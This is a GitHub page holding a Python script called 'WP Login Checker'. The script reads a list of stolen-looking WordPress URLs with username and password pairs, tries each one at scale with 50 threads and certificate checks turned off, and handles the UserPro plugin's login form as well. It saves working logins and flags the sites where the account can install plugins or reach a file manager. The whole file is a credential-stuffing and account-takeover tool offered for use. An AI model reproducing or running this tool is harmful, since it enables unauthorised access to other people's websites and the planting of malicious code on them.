-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwp.py
More file actions
204 lines (188 loc) · 9.97 KB
/
wp.py
File metadata and controls
204 lines (188 loc) · 9.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
import requests
import re
import sys
import os
import random
import urllib3
from multiprocessing.dummy import Pool
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
# Initialize rich console
console = Console()
# Colors
BANNER_COLOR = "#b3e32c"
GOOD_OUTPUT_COLOR = "#6ab04c"
BAD_OUTPUT_COLOR = "#ff7979"
INPUT_VALUE_COLOR = "#3498db"
colors = {
"red": ["#990000", "#CC0000", "#FF0000", "#FF6666", "#CC6666", "#FF9999"],
"green": ["#006600", "#00AA00", "#00CC00", "#66FF66", "#66CC66", "#99FF99"],
"yellow": ["#999900", "#CCCC00", "#FFCC00", "#FFFF66", "#CCCC66", "#FFFF99"],
"blue": ["#003366", "#0055AA", "#0066CC", "#6699FF", "#6699CC", "#99CCFF"],
"magenta": ["#660066", "#993399", "#CC33CC", "#FF66FF", "#FF66CC", "#FF99FF"],
"cyan": ["#006666", "#009999", "#33CCCC", "#66FFFF", "#66CCCC", "#99FFFF"]
}
def rainbow_text_block(text: str) -> Text:
lines = text.split("\n")
base_color = random.choice(list(colors.keys()))
shades = colors[base_color]
cycle = shades + shades[::-1]
pattern = cycle * (len(lines) // len(cycle)) + cycle[:len(lines) % len(cycle)]
styled_text = Text()
for i, line in enumerate(lines):
styled_text.append(line, style=pattern[i])
styled_text.append("\n")
return styled_text
def print_banner():
logo = """
██╗░░██╗░█████╗░███╗░░██╗██████╗░░█████╗░██████╗░██████╗░███████╗██╗░░░██╗
██║░██╔╝██╔══██╗████╗░██║██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██║░░░██║
█████╔╝░██║░░██║██╔██╗██║██║░░██║██║░░██║██████╔╝██║░░██║█████╗░░╚██╗░██╔╝
██╔═██╗░██║░░██║██║╚████║██║░░██║██║░░██║██╔══██╗██║░░██║██╔══╝░░░╚████╔╝░
██║░╚██╗╚█████╔╝██║░╚███║██████╔╝╚█████╔╝██║░░██║██████╔╝███████╗░░╚██╔╝░░
╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝░░░╚═╝░░░"""
console.print(Panel(rainbow_text_block(logo), title="[bold #00ff41]WP Login Checker[/]", style=BANNER_COLOR, expand=False))
headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
'referer': 'www.google.com'
}
def URL_FOX(site):
site = str(site)
if site.startswith('http://'): site = site.replace('http://', ''); p = 'http://'
elif site.startswith('https://'): site = site.replace('https://', ''); p = 'https://'
else: p = 'http://'
if '/' in site: site = site.rstrip().split('/')[0]
return f'{p}{site}'
def input_Fox(txt):
try:
console.print(txt, style=INPUT_VALUE_COLOR, end='')
return input().strip()
except:
return ''
def URL_P(panel):
try:
admins = ['/wp-login.php', '/admin', '/user']
for admin in admins:
if str(admin) in str(panel):
return re.findall(re.compile(f'(.*){admin}'), panel)[0]
return str(panel).decode('utf8')
except:
return str(panel)
def content_Fox(req):
if sys.version_info[0] < 3:
try:
try: return str(req.content)
except:
try: return str(req.content.encode('utf-8'))
except: return str(req.content.decode('utf-8'))
except: return str(req.text)
else:
try:
try: return str(req.content.decode('utf-8'))
except:
try: return str(req.content.encode('utf-8'))
except: return str(req.text)
except: return str(req.content)
def WP_Login_UPer(url, username, password):
try:
while url[-1] == '/': url = url[:-1]
reqFox = requests.session()
headersLogin = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
'referer': f'{url}/wp-admin/'
}
loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{url}/wp-admin/'}
try: login_Fox = reqFox.post(f'{url}/wp-login.php', data=loginPost_Fox, headers=headersLogin, verify=False, timeout=30)
except: login_Fox = reqFox.post(f'{url}/wp-login.php', data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15)
if URL_FOX(login_Fox.url) != URL_FOX(url):
url = URL_P(login_Fox.url)
reqFox = requests.session()
loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{url}/wp-admin/'}
try: login_Fox = reqFox.post(f'{url}/wp-login.php', data=loginPost_Fox, headers=headersLogin, verify=False, timeout=30)
except: login_Fox = reqFox.post(f'{url}/wp-login.php', data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15)
login_Fox = content_Fox(login_Fox)
if 'profile/login' in login_Fox:
id_wp = re.findall(re.compile('type="hidden" name="force_redirect_uri-(.*)" id='), login_Fox)[0]
myuserpro = re.findall(re.compile('name="_myuserpro_nonce" value="(.*)" /><input type="hidden" name="_wp_http_referer"'), login_Fox)[0]
loginPost_Fox = {
'template': 'login', 'unique_id': f'{id_wp}', 'up_username': '0', 'user_action': '',
'_myuserpro_nonce': myuserpro, '_wp_http_referer': '/profile/login/',
'action': 'userpro_process_form',
f'force_redirect_uri-{id_wp}': '0', 'group': 'default',
f'redirect_uri-{id_wp}': '', 'shortcode': '',
f'user_pass-{id_wp}': password, f'username_or_email-{id_wp}': username
}
try: login_Fox = reqFox.post(f'{url}/wp-admin/admin-ajax.php', data=loginPost_Fox, headers=headersLogin, verify=False, timeout=30)
except: login_Fox = reqFox.post(f'{url}/wp-admin/admin-ajax.php', data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15)
try: check = content_Fox(reqFox.get(f'{url}/wp-admin/', headers=headers, verify=False, timeout=30))
except: check = content_Fox(reqFox.get(f'{url}/wp-admin/', headers=headers, verify=False, timeout=15))
if 'wp-admin/profile.php' in check or 'wp-admin/upgrade.php' in check:
with open('Successfully_logged_WordPress.txt', 'a', encoding='utf-8') as f:
f.write(f'{url}/wp-login.php#{username}@{password}\n')
console.print(f"[+] {url} -> Succeeded Login.", style=GOOD_OUTPUT_COLOR)
if 'plugin-install.php' in check:
with open('plugin-install.txt', 'a', encoding='utf-8') as f:
f.write(f'{url}/wp-login.php#{username}@{password}\n')
console.print(f"[+] {url} -> Succeeded plugin-install.", style=GOOD_OUTPUT_COLOR)
if 'WP File Manager' in check:
with open('filemanager.txt', 'a', encoding='utf-8') as f:
f.write(f'{url}/wp-login.php#{username}@{password}\n')
console.print(f"[+] {url} -> Succeeded Wp File Manager.", style=GOOD_OUTPUT_COLOR)
else:
console.print(f"[-] {url} -> Login Failed.", style=BAD_OUTPUT_COLOR)
return False
except:
console.print(f"[-] {url} -> Time out.", style=BAD_OUTPUT_COLOR)
return False
def data_PL_Filter(panel):
try:
user = panel.split('#')[1].split('@')[0]
pswd = re.findall(re.compile(f'#{user}(.*)'), panel)[0][1:]
return user, pswd
except:
return False
def login(panel):
try:
if '/wp-login.php' not in panel: return False
data = data_PL_Filter(panel)
if data is False: return False
WP_Login_UPer(URL_P(panel), data[0], data[1])
except:
return False
def mylist():
try:
try:
target = open(sys.argv[1], 'r', encoding='utf-8')
return target
except:
yList = str(input_Fox(' Your List --> : ')).strip().strip('"').strip("'")
if not os.path.isfile(yList) and '.txt' not in yList:
yList = f'{yList}.txt'
while not os.path.isfile(yList):
console.print(f"\n {yList} File does not exist, You have to put your list in the same folder.\n", style=BAD_OUTPUT_COLOR)
yList = str(input_Fox(' Your List --> : ')).strip().strip('"').strip("'")
target = open(yList, 'r', encoding='utf-8')
return target
except Exception as e:
console.print(f"Error: {e}", style=BAD_OUTPUT_COLOR)
return False
# Run
print_banner()
mp = Pool(50)
mp.map(login, [line.strip() for line in mylist() if line.strip()])